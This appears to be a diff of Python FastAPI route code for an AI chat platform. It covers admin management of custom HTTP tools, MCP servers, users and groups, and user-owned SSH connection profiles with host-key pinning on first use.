# --- Form <-> row ------------------------------------------------------------
def _headers_text(headers: dict) -> str:
return "\n".join(f"{name}: {value}" for name, value in (headers or {}).items())
def _parse_headers(text: str) -> dict[str, str]:
"""One `Name: value` per line. Blank lines and lines with no colon are dropped."""
out: dict[str, str] = {}
for line in (text or "").splitlines():
name, _, value = line.partition(":")
if name.strip() and _:
out[name.strip()] = value.strip()
return out
def _number(raw: str, *, default: int, low: int, high: int) -> int:
text = str(raw or "").strip()
if not text.lstrip("-").isdigit():
return default
return min(max(int(text), low), high)
def _populate(tool: CustomTool, form) -> None:
"""Copy a submitted form onto a row (or a draft of one).
Checkboxes are read by key presence: FastAPI cannot tell `x=` from an absent
`x`, and an absent one is exactly what an unticked box sends.
"""
tool.name = str(form.get("name") or "").strip()[:120]
tool.description = str(form.get("description") or "").strip()
tool.guidance = str(form.get("guidance") or "").replace("\r\n", "\n").strip()
tool.method = str(form.get("method") or "GET").strip().upper()
tool.url_template = str(form.get("url_template") or "").strip()[:1000]
tool.body_template = str(form.get("body_template") or "").replace("\r\n", "\n")
tool.headers_json = _parse_headers(str(form.get("headers") or ""))
placement = str(form.get("secret_placement") or SECRET_NONE)
tool.secret_placement = placement if placement in SECRET_PLACEMENTS else SECRET_NONE
tool.secret_name = str(form.get("secret_name") or "Authorization").strip()[:120]
mode = str(form.get("response_mode") or RESPONSE_TEXT)
tool.response_mode = mode if mode in RESPONSE_MODES else RESPONSE_TEXT
tool.response_path = str(form.get("response_path") or "").strip()[:300]
tool.max_chars = _number(
form.get("max_chars"),
default=8000,
low=custom_tools.MIN_CHARS,
high=custom_tools.MAX_CHARS,
)
tool.timeout = _number(
form.get("timeout"),
default=20,
low=custom_tools.MIN_TIMEOUT,
high=custom_tools.MAX_TIMEOUT,
)
tool.position = _number(form.get("position"), default=tool.position or 0, low=0, high=999)
tool.allow_private = "allow_private" in form
tool.enabled = "enabled" in form
tool.public = "public" in form
def _problem(db: Db, tool: CustomTool, form, *, existing_id: str = "") -> str:
"""Why this cannot be saved, or an empty string."""
if not tool.name:
return "A tool needs a name."
slug = str(form.get("slug") or "").strip().lower()
if not SLUG_PATTERN.match(slug):
return (
"The identifier must be lowercase letters, digits, hyphens or "
"underscores, start with a letter or digit, and be at most 48 "
"characters. It is the name the model calls."
)
if slug in tools_service.REGISTRY:
return f"{slug}” is the name of a built-in tool. Choose another."
clash = db.scalar(select(CustomTool).where(CustomTool.slug == slug))
if clash is not None and clash.id != existing_id:
return f"There is already a tool called “{slug}”."
tool.slug = slug
if tool.method not in custom_tools.ALLOWED_METHODS:
return f"{tool.method} is not a method this can send."
raw = str(form.get("parameters") or "").strip() or '{"type": "object", "properties": {}}'
try:
parameters = json.loads(raw)
except json.JSONDecodeError as exc:
return f"The parameters are not valid JSON: {exc}"
if not isinstance(parameters, dict) or parameters.get("type") != "object":
return 'The parameters must be a JSON object whose "type" is "object".'
tool.parameters_json = parameters
# The same check the runner makes, so a template that could never be called
# is refused here rather than at the first call.
try:
custom_tools.fill_url(custom_tools.spec_from(tool), {})
except Exception as exc: # noqa: BLE001 - any refusal is a message for the form
return str(getattr(exc, "message", exc))
return ""
def _detail(request: Request, db: Db, tool: CustomTool, *, is_new: bool, error: str = "", **extra):
key = f"tool.custom_{tool.slug}" if tool.slug else ""
return render(
request,
"admin/tool_detail.html",
{
"tool": tool,
"is_new": is_new,
"error": error,
"groups": list(db.scalars(select(Group).order_by(Group.name))),
"selected_groups": extra.pop(
"selected_groups", {group.id for group in (tool.groups if tool.id else [])}
),
"headers_text": extra.pop("headers_text", _headers_text(tool.headers_json)),
"parameters_text": extra.pop(
"parameters_text", json.dumps(tool.parameters_json or {}, indent=2)
),
"masked": mask(decrypt(tool.secret_encrypted)) if tool.secret_encrypted else "",
"unchanged": UNCHANGED_SENTINEL,
"methods": custom_tools.ALLOWED_METHODS,
"response_modes": RESPONSE_LABELS,
"secret_placements": SECRET_LABELS,
"prompt_key": key,
"prompt_overridden": key in prompts_service.stored(db),
**extra,
},
)
# --- The list ----------------------------------------------------------------
@router.get("/admin/tools")
async def tools_page(
request: Request,
db: Db,
user: AdminUser,
saved: str = "",
q: str = "",
filter: str = "all",
page: int = 1,
):
everything = _ordered(db)
predicate = FILTERS.get(filter, FILTERS["all"])[1]
needle = q.strip().lower()
matching = [
tool
for tool in everything
if predicate(tool)
and (not needle or needle in tool.slug.lower() or needle in (tool.name or "").lower())
]
pages = max(1, -(-len(matching) // PAGE_SIZE))
page = max(1, min(page, pages))
start = (page - 1) * PAGE_SIZE
return render(
request,
"admin/tools.html",
{
"tools": matching[start : start + PAGE_SIZE],
"total": len(everything),
"matched": len(matching),
"page": page,
"pages": pages,
"page_start": start,
"counts": {
key: sum(1 for tool in everything if rule(tool))
for key, (_label, rule) in FILTERS.items()
},
"filters": {key: label for key, (label, _rule) in FILTERS.items()},
"active_filter": filter if filter in FILTERS else "all",
"q": q,
"saved": saved,
},
)
# Registered before /{tool_id}: FastAPI matches in registration order, so with
# the parameterised route first "new" is captured as an id and the handler 404s
# on a tool that does not exist. This has already been a bug once, in
# /admin/models.
@router.get("/admin/tools/new")
async def new_tool_page(request: Request, db: Db, user: AdminUser):
draft = CustomTool(
name="",
slug="",
method="GET",
url_template="https://",
parameters_json={"type": "object", "properties": {}, "required": []},
secret_placement=SECRET_NONE,
response_mode=RESPONSE_TEXT,
max_chars=8000,
timeout=20,
enabled=True,
public=True,
position=0,
)
return _detail(request, db, draft, is_new=True)
@router.post("/admin/tools")
async def create_tool(request: Request, db: Db, user: AdminUser) -> Response:
form = await request.form()
draft = CustomTool(headers_json={}, parameters_json={})
_populate(draft, form)
draft.position = db.scalar(select(func.coalesce(func.max(CustomTool.position), -1))) + 1
problem = _problem(db, draft, form)
if problem:
return _detail(
request,
db,
draft,
is_new=True,
error=problem,
headers_text=str(form.get("headers") or ""),
parameters_text=str(form.get("parameters") or ""),
selected_groups=set(form.getlist("group_ids")),
)
draft.secret_encrypted = keep_or_replace(str(form.get("secret") or ""), "")
draft.groups = _chosen_groups(db, form, public=draft.public)
db.add(draft)
db.commit()
log.info("%s added custom tool %s", user.email, draft.slug)
return _back(f"Added {draft.name}.")
def _chosen_groups(db: Db, form, *, public: bool) -> list[Group]:
"""A public tool holds no groups, the way a public model holds none."""
if public:
return []
ids = set(form.getlist("group_ids"))
return list(db.scalars(select(Group).where(Group.id.in_(ids)))) if ids else []
@router.get("/admin/tools/{tool_id}/edit")
async def edit_tool_page(request: Request, db: Db, user: AdminUser, tool_id: str):
return _detail(request, db, _tool(db, tool_id), is_new=False)
@router.post("/admin/tools/{tool_id}/test")
async def test_tool(request: Request, db: Db, user: AdminUser, tool_id: str):
"""Call the stored row once, with arguments the administrator typed.
The stored row rather than the submitted form, so what is tested is what a
chat would actually do -- the same reason `/admin/search/test` reads the
saved provider settings.
"""
tool = _tool(db, tool_id)
form = await request.form()
raw = str(form.get("arguments") or "").strip() or "{}"
try:
arguments = json.loads(raw)
if not isinstance(arguments, dict):
raise ValueError("Arguments must be a JSON object.")
except (json.JSONDecodeError, ValueError) as exc:
return render(
request,
"admin/_tool_test.html",
{"tool": tool, "error": f"Those arguments are not a JSON object: {exc}"},
)
outcome = await custom_tools.call(custom_tools.spec_from(tool), arguments)
tool.last_error = str(outcome.event.get("error") or "")
tool.last_checked_at = datetime.now(UTC)
db.commit()
return render(
request,
"admin/_tool_test.html",
{
"tool": tool,
"outcome": outcome,
"error": outcome.event.get("error") or "",
"detail": outcome.event.get("detail") or "",
},
)
@router.post("/admin/tools/{tool_id}/delete")
async def delete_tool(db: Db, user: AdminUser, tool_id: str) -> Response:
tool = _tool(db, tool_id)
name = tool.name
db.delete(tool)
db.commit()
log.info("%s deleted custom tool %s", user.email, name)
return _back(f"Deleted {name}.")
@router.post("/admin/tools/{tool_id}")
async def update_tool(request: Request, db: Db, user: AdminUser, tool_id: str) -> Response:
tool = _tool(db, tool_id)
form = await request.form()
# Validated against a draft so that a rejected save leaves the stored row
# untouched and the form still holds what was typed.
draft = CustomTool(headers_json={}, parameters_json={}, position=tool.position)
_populate(draft, form)
problem = _problem(db, draft, form, existing_id=tool.id)
if problem:
draft.id = tool.id
draft.secret_encrypted = tool.secret_encrypted
return _detail(
request,
db,
draft,
is_new=False,
error=problem,
headers_text=str(form.get("headers") or ""),
parameters_text=str(form.get("parameters") or ""),
selected_groups=set(form.getlist("group_ids")),
)
_populate(tool, form)
tool.slug = draft.slug
tool.parameters_json = draft.parameters_json
tool.secret_encrypted = keep_or_replace(str(form.get("secret") or ""), tool.secret_encrypted)
tool.groups = _chosen_groups(db, form, public=tool.public)
db.commit()
log.info("%s updated custom tool %s", user.email, tool.slug)
return _back(f"Saved {tool.name}.")
# --- MCP servers -------------------------------------------------------------
MCP_SLUG_PATTERN = re.compile(r"^[a-z0-9][a-z0-9_-]{0,23}$")
def _server(db: Db, server_id: str) -> McpServer:
server = db.get(McpServer, server_id)
if server is None:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That server no longer exists.")
return server
def _mcp_back(message: str = "") -> Response:
target = f"/admin/mcp?saved={message}" if message else "/admin/mcp"
return RedirectResponse(target, status_code=status.HTTP_303_SEE_OTHER)
def _populate_server(server: McpServer, form) -> None:
server.name = str(form.get("name") or "").strip()[:120]
server.url = str(form.get("url") or "").strip()[:1000]
server.guidance = str(form.get("guidance") or "").replace("\r\n", "\n").strip()
server.headers_json = _parse_headers(str(form.get("headers") or ""))
placement = str(form.get("secret_placement") or SECRET_NONE)
server.secret_placement = placement if placement in SECRET_PLACEMENTS else SECRET_NONE
server.secret_name = str(form.get("secret_name") or "Authorization").strip()[:120]
server.timeout = _number(
form.get("timeout"), default=30, low=mcp_client.MIN_TIMEOUT, high=mcp_client.MAX_TIMEOUT
)
server.max_chars = _number(
form.get("max_chars"), default=8000, low=mcp_client.MIN_CHARS, high=mcp_client.MAX_CHARS
)
server.position = _number(form.get("position"), default=server.position or 0, low=0, high=999)
server.allow_private = "allow_private" in form
server.enabled = "enabled" in form
server.public = "public" in form
# One checkbox per advertised tool, so an unticked one is absent. The
# stored map holds only the refusals; absent means on.
if "tool_choices" in form:
offered = set(form.getlist("tool_names"))
chosen = set(form.getlist("tool_names_on"))
server.tool_overrides_json = dict.fromkeys(offered - chosen, False)
def _server_problem(db: Db, server: McpServer, form, *, existing_id: str = "") -> str:
if not server.name:
return "A server needs a name."
slug = str(form.get("slug") or "").strip().lower()
if not MCP_SLUG_PATTERN.match(slug):
return (
"The identifier must be lowercase letters, digits, hyphens or "
"underscores, and at most 24 characters. It prefixes every tool "
"name this server offers."
)
clash = db.scalar(select(McpServer).where(McpServer.slug == slug))
if clash is not None and clash.id != existing_id:
return f"There is already a server called “{slug}”."
server.slug = slug
try:
check_url(server.url, allow_private=True)
except FetchError as exc:
return exc.message
return ""
def _server_detail(
request: Request, db: Db, server: McpServer, *, is_new: bool, error: str = "", **extra
):
key = f"tool.mcp_{server.slug}" if server.slug else ""
overrides = server.tool_overrides_json or {}
return render(
request,
"admin/mcp_detail.html",
{
"server": server,
"is_new": is_new,
"error": error,
"groups": list(db.scalars(select(Group).order_by(Group.name))),
"selected_groups": extra.pop(
"selected_groups", {group.id for group in (server.groups if server.id else [])}
),
"headers_text": extra.pop("headers_text", _headers_text(server.headers_json)),
"tools": [
{**entry, "on": overrides.get(entry.get("name"), True)}
for entry in (server.tools_json or [])
if isinstance(entry, dict)
],
"masked": mask(decrypt(server.secret_encrypted)) if server.secret_encrypted else "",
"unchanged": UNCHANGED_SENTINEL,
"secret_placements": SECRET_LABELS,
"prompt_key": key,
"prompt_overridden": key in prompts_service.stored(db),
**extra,
},
)
@router.get("/admin/mcp")
async def mcp_page(request: Request, db: Db, user: AdminUser, saved: str = ""):
servers = list(db.scalars(select(McpServer).order_by(McpServer.position, McpServer.slug)))
return render(
request,
"admin/mcp.html",
{
"servers": servers,
"counts": {server.id: len(server.tools_json or []) for server in servers},
"saved": saved,
},
)
# Registered before /{server_id}, for the reason given above.
@router.get("/admin/mcp/new")
async def new_server_page(request: Request, db: Db, user: AdminUser):
draft = McpServer(
name="",
slug="",
url="https://",
secret_placement=SECRET_NONE,
timeout=30,
max_chars=8000,
enabled=True,
public=True,
position=0,
tools_json=[],
tool_overrides_json={},
)
return _server_detail(request, db, draft, is_new=True)
@router.post("/admin/mcp")
async def create_server(request: Request, db: Db, user: AdminUser) -> Response:
form = await request.form()
draft = McpServer(headers_json={}, tools_json=[], tool_overrides_json={})
_populate_server(draft, form)
draft.position = db.scalar(select(func.coalesce(func.max(McpServer.position), -1))) + 1
problem = _server_problem(db, draft, form)
if problem:
return _server_detail(
request,
db,
draft,
is_new=True,
error=problem,
headers_text=str(form.get("headers") or ""),
selected_groups=set(form.getlist("group_ids")),
)
draft.secret_encrypted = keep_or_replace(str(form.get("secret") or ""), "")
draft.groups = _chosen_groups(db, form, public=draft.public)
db.add(draft)
db.commit()
# Discovered immediately, the way a new connection's models are: an
# administrator who has just typed a URL wants to know whether it answered.
count, error = await mcp_registry.refresh(db, draft)
log.info("%s added MCP server %s (%d tools)", user.email, draft.slug, count)
if error:
return _mcp_back(f"Added {draft.name}, but it could not be reached: {error}")
return _mcp_back(f"Added {draft.name}{count} tool(s).")
@router.get("/admin/mcp/{server_id}/edit")
async def edit_server_page(request: Request, db: Db, user: AdminUser, server_id: str):
return _server_detail(request, db, _server(db, server_id), is_new=False)
@router.post("/admin/mcp/{server_id}/test")
async def test_server(request: Request, db: Db, user: AdminUser, server_id: str):
"""Contact the server and cache what it advertises.
Returns the row fragment, swapped in place, exactly as "Test & refresh"
does for a connection.
"""
server = _server(db, server_id)
count, error = await mcp_registry.refresh(db, server)
message = (
f"{server.name}: {error}"
if error
else f"{server.name}: found {count} tool{'s' if count != 1 else ''}."
)
return render(
request,
"admin/_mcp_row.html",
{
"server": server,
"tool_count": len(server.tools_json or []),
"message": message,
"message_kind": "error" if error else "success",
},
)
@router.post("/admin/mcp/{server_id}/delete")
async def delete_server(db: Db, user: AdminUser, server_id: str) -> Response:
server = _server(db, server_id)
name = server.name
db.delete(server)
db.commit()
log.info("%s deleted MCP server %s", user.email, name)
return _mcp_back(f"Deleted {name}.")
@router.post("/admin/mcp/{server_id}")
async def update_server(request: Request, db: Db, user: AdminUser, server_id: str) -> Response:
server = _server(db, server_id)
form = await request.form()
draft = McpServer(headers_json={}, tools_json=[], position=server.position)
_populate_server(draft, form)
problem = _server_problem(db, draft, form, existing_id=server.id)
if problem:
draft.id = server.id
draft.secret_encrypted = server.secret_encrypted
draft.tools_json = server.tools_json
return _server_detail(
request,
db,
draft,
is_new=False,
error=problem,
headers_text=str(form.get("headers") or ""),
selected_groups=set(form.getlist("group_ids")),
)
_populate_server(server, form)
server.slug = draft.slug
server.secret_encrypted = keep_or_replace(
str(form.get("secret") or ""), server.secret_encrypted
)
server.groups = _chosen_groups(db, form, public=server.public)
db.commit()
log.info("%s updated MCP server %s", user.email, server.slug)
return _mcp_back(f"Saved {server.name}.")
+268
View File
@@ -0,0 +1,268 @@
"""User and group administration."""
from __future__ import annotations
import logging
from fastapi import APIRouter, Form, HTTPException, Request, Response, status
from fastapi.responses import RedirectResponse
from sqlalchemy import func, or_, select
from sqlalchemy.orm import Session as DBSession
from lembas.api.deps import AdminUser, Db
from lembas.db.models import ROLE_ADMIN, ROLE_PENDING, ROLE_USER, Group, Model, User
from lembas.security import permissions
from lembas.security.passwords import hash_password, validate_password
from lembas.security.sessions import revoke_all_for_user
from lembas.services import settings_store
from lembas.web.templating import render
log = logging.getLogger(__name__)
router = APIRouter(prefix="/admin", tags=["admin-users"])
ROLES = (ROLE_ADMIN, ROLE_USER, ROLE_PENDING)
def _user(db: DBSession, user_id: str) -> User:
found = db.get(User, user_id)
if found is None:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That user no longer exists.")
return found
def _group(db: DBSession, group_id: str) -> Group:
found = db.get(Group, group_id)
if found is None:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That group no longer exists.")
return found
def _admin_count(db: DBSession) -> int:
return db.scalar(
select(func.count()).select_from(User).where(User.role == ROLE_ADMIN, User.active.is_(True))
)
def _would_orphan_the_instance(db: DBSession, user: User) -> bool:
"""True if changing this user would leave nobody able to administer.
An instance with no active administrator can only be recovered from the
command line, so every path that could cause it is blocked in the UI.
"""
return user.role == ROLE_ADMIN and user.active and _admin_count(db) <= 1
# --- Users -------------------------------------------------------------------
@router.get("/users")
async def users_page(request: Request, db: Db, user: AdminUser, q: str = "", saved: str = ""):
query = select(User).order_by(User.created_at)
if q.strip():
pattern = f"%{q.strip()}%"
query = query.where(or_(User.name.ilike(pattern), User.email.ilike(pattern)))
return render(
request,
"admin/users.html",
{
"users": list(db.scalars(query)),
"groups": list(db.scalars(select(Group).order_by(Group.name))),
"roles": ROLES,
"q": q,
"saved": saved,
"admin_count": _admin_count(db),
},
)
@router.post("/users")
async def create_user(
db: Db,
user: AdminUser,
name: str = Form(...),
email: str = Form(...),
password: str = Form(...),
role: str = Form(ROLE_USER),
) -> Response:
"""Create an account directly, without going through registration."""
email = email.strip().lower()
if (problem := validate_password(password)) is not None:
return RedirectResponse(f"/admin/users?saved={problem}", status_code=303)
if db.scalar(select(User).where(User.email == email)) is not None:
return RedirectResponse(
"/admin/users?saved=That+email+is+already+registered.", status_code=303
)
db.add(
User(
name=name.strip()[:120] or email,
email=email,
password_hash=hash_password(password),
role=role if role in ROLES else ROLE_USER,
)
)
db.commit()
log.info("%s created account %s", user.email, email)
return RedirectResponse(f"/admin/users?saved=Created+{email}.", status_code=303)
@router.post("/users/{user_id}")
async def update_user(
db: Db,
user: AdminUser,
user_id: str,
name: str = Form(...),
role: str = Form(ROLE_USER),
active: bool = Form(False),
group_ids: list[str] = Form(default=[]),
) -> Response:
target = _user(db, user_id)
losing_admin = target.role == ROLE_ADMIN and (role != ROLE_ADMIN or not active)
if losing_admin and _would_orphan_the_instance(db, target):
return RedirectResponse(
"/admin/users?saved=That+is+the+only+administrator.+Promote+someone+else+first.",
status_code=303,
)
target.name = name.strip()[:120] or target.name
target.role = role if role in ROLES else target.role
target.active = active
target.groups = list(db.scalars(select(Group).where(Group.id.in_(group_ids or []))))
# A deactivated or demoted user must lose their live sessions immediately,
# otherwise the change only takes effect when their cookie happens to expire.
if not active:
revoke_all_for_user(db, target)
db.commit()
log.info("%s updated account %s (role=%s active=%s)", user.email, target.email, role, active)
return RedirectResponse(f"/admin/users?saved=Saved+{target.email}.", status_code=303)
@router.post("/users/{user_id}/password")
async def reset_password(
db: Db, user: AdminUser, user_id: str, password: str = Form(...)
) -> Response:
target = _user(db, user_id)
if (problem := validate_password(password)) is not None:
return RedirectResponse(f"/admin/users?saved={problem}", status_code=303)
target.password_hash = hash_password(password)
db.commit()
# Everywhere that account was signed in is now signed out. An admin reset
# usually means the account is compromised or the person is gone.
revoke_all_for_user(db, target)
log.info("%s reset the password for %s", user.email, target.email)
return RedirectResponse(
f"/admin/users?saved=Password+reset+for+{target.email}.+Sessions+revoked.",
status_code=303,
)
@router.post("/users/{user_id}/delete")
async def delete_user(db: Db, user: AdminUser, user_id: str) -> Response:
target = _user(db, user_id)
if target.id == user.id:
return RedirectResponse(
"/admin/users?saved=You+cannot+delete+your+own+account.", status_code=303
)
if _would_orphan_the_instance(db, target):
return RedirectResponse(
"/admin/users?saved=That+is+the+only+administrator.", status_code=303
)
email = target.email
# Chats and folders cascade; that is the point of deleting an account.
db.delete(target)
db.commit()
log.info("%s deleted account %s", user.email, email)
return RedirectResponse(f"/admin/users?saved=Deleted+{email}.", status_code=303)
# --- Groups ------------------------------------------------------------------
@router.get("/groups")
async def groups_page(request: Request, db: Db, user: AdminUser, saved: str = ""):
return render(
request,
"admin/groups.html",
{
"groups": list(db.scalars(select(Group).order_by(Group.name))),
"users": list(db.scalars(select(User).order_by(User.name))),
"models": list(db.scalars(select(Model).order_by(Model.position, Model.model_id))),
"permission_groups": permissions.permission_groups(),
"baseline": permissions.baseline_permissions(db),
"saved": saved,
},
)
@router.post("/groups")
async def create_group(db: Db, user: AdminUser, name: str = Form(...)) -> Response:
name = name.strip()[:120]
if not name:
return RedirectResponse("/admin/groups?saved=A+group+needs+a+name.", status_code=303)
if db.scalar(select(Group).where(Group.name == name)) is not None:
return RedirectResponse(
"/admin/groups?saved=A+group+with+that+name+already+exists.", status_code=303
)
db.add(Group(name=name))
db.commit()
log.info("%s created group %s", user.email, name)
return RedirectResponse(f"/admin/groups?saved=Created+{name}.", status_code=303)
@router.post("/groups/{group_id}")
async def update_group(
db: Db,
user: AdminUser,
group_id: str,
name: str = Form(...),
description: str = Form(""),
permission: list[str] = Form(default=[]),
user_ids: list[str] = Form(default=[]),
model_ids: list[str] = Form(default=[]),
) -> Response:
group = _group(db, group_id)
group.name = name.strip()[:120] or group.name
group.description = description.strip()[:1000]
# The submitted checkbox list is the complete new state; absent means the
# group does not grant that permission, not that it denies it.
group.permissions_json = {key: True for key in permission if key in permissions.PERMISSION_KEYS}
group.users = list(db.scalars(select(User).where(User.id.in_(user_ids or []))))
group.models = list(db.scalars(select(Model).where(Model.id.in_(model_ids or []))))
db.commit()
log.info("%s updated group %s", user.email, group.name)
return RedirectResponse(f"/admin/groups?saved=Saved+{group.name}.", status_code=303)
@router.post("/groups/{group_id}/delete")
async def delete_group(db: Db, user: AdminUser, group_id: str) -> Response:
group = _group(db, group_id)
name = group.name
# Members and model links go with it; the users themselves are untouched.
db.delete(group)
db.commit()
log.info("%s deleted group %s", user.email, name)
return RedirectResponse(f"/admin/groups?saved=Deleted+{name}.", status_code=303)
@router.post("/permissions/defaults")
async def save_baseline(
db: Db, user: AdminUser, permission: list[str] = Form(default=[])
) -> Response:
"""The permissions every user has before any group widens them."""
settings_store.update(
db,
{
"default_permissions": {
key: (key in permission) for key in permissions.PERMISSION_KEYS
}
},
)
log.info("%s changed the baseline permissions", user.email)
return RedirectResponse("/admin/groups?saved=Default+permissions+saved.", status_code=303)
+427
View File
@@ -0,0 +1,427 @@
"""SSH connections, kept by the people who own them.
Not an admin screen. These are somebody's own machines and somebody's own keys,
so the pages sit beside the library rather than under `/admin` -- an
administrator decides only whether the feature exists at all.
Trust on first use, made explicit. Adding a host does not connect to it; the
**Check** button looks at its key, shows the fingerprint, and waits. Only when
that is accepted is the key pinned, and only then will anything authenticate.
`asyncssh.get_server_host_key` completes the key exchange and stops, so a host
that has not been accepted is never offered a username, let alone a credential.
"""
from __future__ import annotations
import logging
from datetime import UTC, datetime
from fastapi import APIRouter, Depends, HTTPException, Request, Response, status
from fastapi.responses import RedirectResponse
from sqlalchemy import select
from lembas.api.deps import Db, RequiredUser, require_permission
from lembas.api.pages import sidebar_context
from lembas.db.models import AUTH_METHODS, AUTH_PASSWORD, SshProfile
from lembas.services import settings_store
from lembas.services.agent import index as index_service
from lembas.services.agent import ssh as ssh_service
from lembas.services.agent import terminal as terminal_service
from lembas.services.agent.base import ExecError
from lembas.services.crypto import UNCHANGED_SENTINEL, decrypt, keep_or_replace, mask
from lembas.web.templating import render
log = logging.getLogger(__name__)
router = APIRouter(
dependencies=[Depends(require_permission("agent.ssh"))], tags=["agents"]
)
def _profile(db: Db, user: RequiredUser, profile_id: str) -> SshProfile:
"""One profile belonging to this person.
Ownership is the whole authorisation. `sharing.py` is deliberately not
involved: it grants reading, and a host somebody else can read is a host
they can log in to.
"""
profile = db.get(SshProfile, profile_id)
if profile is None or profile.owner_id != user.id:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That connection no longer exists.")
return profile
def _owned(db: Db, user_id: str) -> list[SshProfile]:
return list(
db.scalars(
select(SshProfile).where(SshProfile.owner_id == user_id).order_by(SshProfile.name)
)
)
def _back(message: str = "") -> Response:
target = f"/agents?saved={message}" if message else "/agents"
return RedirectResponse(target, status_code=status.HTTP_303_SEE_OTHER)
def _number(raw, *, default: int, low: int, high: int) -> int:
text = str(raw or "").strip()
if not text.isdigit():
return default
return min(max(int(text), low), high)
def _apply(profile: SshProfile, form) -> None:
"""Copy a submitted form onto a profile.
Checkboxes are read by key presence: FastAPI cannot tell `x=` from an absent
`x`, and an absent one is exactly what an unticked box sends.
"""
profile.name = str(form.get("name") or "").strip()[:120]
profile.host = str(form.get("host") or "").strip()[:255]
profile.username = str(form.get("username") or "").strip()[:120]
profile.port = _number(form.get("port"), default=22, low=1, high=65535)
profile.connect_timeout = _number(form.get("connect_timeout"), default=15, low=3, high=120)
profile.default_dir = str(form.get("default_dir") or "").strip()[:500]
method = str(form.get("auth") or "").strip()
profile.auth = method if method in AUTH_METHODS else profile.auth
profile.enabled = "enabled" in form
def _detail(
request: Request,
db: Db,
user: RequiredUser,
profile: SshProfile,
*,
is_new: bool,
error: str = "",
saved: str = "",
):
# The user is passed rather than read off the profile: a draft has never
# been attached to a session, so `profile.owner` is None on the one page
# that most needs a sidebar.
return render(
request,
"agents/detail.html",
{
**sidebar_context(db, user),
"profile": profile,
"is_new": is_new,
"error": error,
"saved": saved,
"unchanged": UNCHANGED_SENTINEL,
"masked_password": mask(decrypt(profile.password_encrypted))
if profile.password_encrypted
else "",
"has_key": bool(profile.private_key_encrypted),
"problem": ssh_service.available(),
},
)
@router.get("/agents")
async def agents_page(request: Request, db: Db, user: RequiredUser, saved: str = ""):
return render(
request,
"agents/index.html",
{
**sidebar_context(db, user),
"profiles": _owned(db, user.id),
"saved": saved,
"problem": ssh_service.available(),
"enabled": bool(settings_store.agents(db).get("enabled")),
},
)
# Registered before /{profile_id}: FastAPI matches in registration order, so
# with the parameterised route first "new" is captured as an id. This has been
# a bug once already, in /admin/models.
@router.get("/agents/new")
async def new_profile_page(request: Request, db: Db, user: RequiredUser):
draft = SshProfile(
owner_id=user.id, name="", host="", username="", port=22, connect_timeout=15, enabled=True
)
return _detail(request, db, user, draft, is_new=True)
@router.post("/api/agents")
async def create_profile(request: Request, db: Db, user: RequiredUser) -> Response:
form = await request.form()
profile = SshProfile(owner_id=user.id)
_apply(profile, form)
if problem := _problem(db, profile, user.id):
return _detail(request, db, user, profile, is_new=True, error=problem)
profile.password_encrypted = keep_or_replace(str(form.get("password") or ""), "")
profile.private_key_encrypted = keep_or_replace(str(form.get("private_key") or ""), "")
profile.key_passphrase_encrypted = keep_or_replace(str(form.get("key_passphrase") or ""), "")
db.add(profile)
db.commit()
log.info("%s added ssh profile %s", user.email, profile.name)
return RedirectResponse(
f"/agents/{profile.id}?saved=Added+{profile.name}.+Check+it+to+confirm+its+fingerprint.",
status_code=status.HTTP_303_SEE_OTHER,
)
def _problem(db: Db, profile: SshProfile, owner_id: str, *, existing_id: str = "") -> str:
if not profile.name:
return "A connection needs a name."
if not profile.host:
return "A connection needs a host."
if not profile.username:
return "A connection needs a username to log in as."
clash = db.scalar(
select(SshProfile).where(
SshProfile.owner_id == owner_id, SshProfile.name == profile.name
)
)
if clash is not None and clash.id != existing_id:
return f"You already have a connection called “{profile.name}”."
return ""
@router.get("/agents/{profile_id}")
async def profile_page(
request: Request, db: Db, user: RequiredUser, profile_id: str, saved: str = ""
):
profile = _profile(db, user, profile_id)
return _detail(request, db, user, profile, is_new=False, saved=saved)
@router.get("/api/agents/{profile_id}/browse")
async def browse_profile(
request: Request, db: Db, user: RequiredUser, profile_id: str, path: str = ""
):
"""One directory on the far side, as a fragment the picker swaps in.
Hung off the profile rather than the chat because the commonest caller is
the *new*-chat composer, where there is no chat yet -- the directory is one
of the things being chosen. Ownership of the profile is the whole
authorisation, as everywhere else in this module.
This is a person clicking, not a model calling, so it does not go through
`agent/policy.py`. That is the same argument the terminal panel rests on and
it holds for the same reason -- somebody who owns the credential could list
the directory with an ssh client -- but it does mean Manual mode's promise
that everything is shown to you first now has a second exception. Both are
written down in CLAUDE.md.
"""
profile = _profile(db, user, profile_id)
entries: list = []
error = ""
if hint := ssh_service.available():
error = hint
elif not profile.host_key:
# connect_kwargs would raise the same thing, but a picker that opens on
# a wall of prose about known_hosts is worse than one that says this.
error = "This connection's host key has not been confirmed yet. Check it first."
else:
try:
executor = ssh_service.SshExecutor(ssh_service.spec_from(profile), "")
entries = await executor.scan_dir(path or profile.default_dir or "/")
except ExecError as exc:
error = exc.message
here = path or profile.default_dir or "/"
return render(
request,
"agents/_browse.html",
{
"profile": profile,
"here": here,
"parent": _parent_of(here),
"entries": entries,
"error": error,
},
)
def _parent_of(path: str) -> str:
"""The directory above, or "" at the root.
Plain string work rather than pathlib: these are POSIX paths on somebody
else's machine, and running them through a local Path would apply this
host's rules to them.
"""
trimmed = (path or "/").rstrip("/")
if not trimmed or trimmed == "":
return ""
head = trimmed.rsplit("/", 1)[0]
return head or "/"
@router.post("/api/agents/{profile_id}/check")
async def check_profile(request: Request, db: Db, user: RequiredUser, profile_id: str):
"""Look at the host's key, and connect if it has already been accepted.
Two steps in one button, because they are one question: *is this the machine
I meant, and will it let me in?* An unseen key comes back as a fingerprint
to accept; an accepted one is used to log in and run something harmless.
"""
profile = _profile(db, user, profile_id)
try:
line, fingerprint = await ssh_service.capture_host_key(
profile.host, profile.port, timeout=profile.connect_timeout
)
except ExecError as exc:
profile.last_error = exc.message
profile.last_checked_at = datetime.now(UTC)
db.commit()
return render(
request, "agents/_check.html", {"profile": profile, "error": exc.message}
)
if not profile.host_key:
# First sight. Nothing is pinned until a person says so.
return render(
request,
"agents/_check.html",
{"profile": profile, "offer": {"line": line, "fingerprint": fingerprint}},
)
if line.strip() != profile.host_key.strip():
message = (
"This host is presenting a different key than the one you accepted. "
"Nothing was sent to it. If you rebuilt the machine, forget the key "
"below and check again; if you did not, stop and find out why."
)
profile.last_error = message
profile.last_checked_at = datetime.now(UTC)
db.commit()
return render(
request,
"agents/_check.html",
{
"profile": profile,
"error": message,
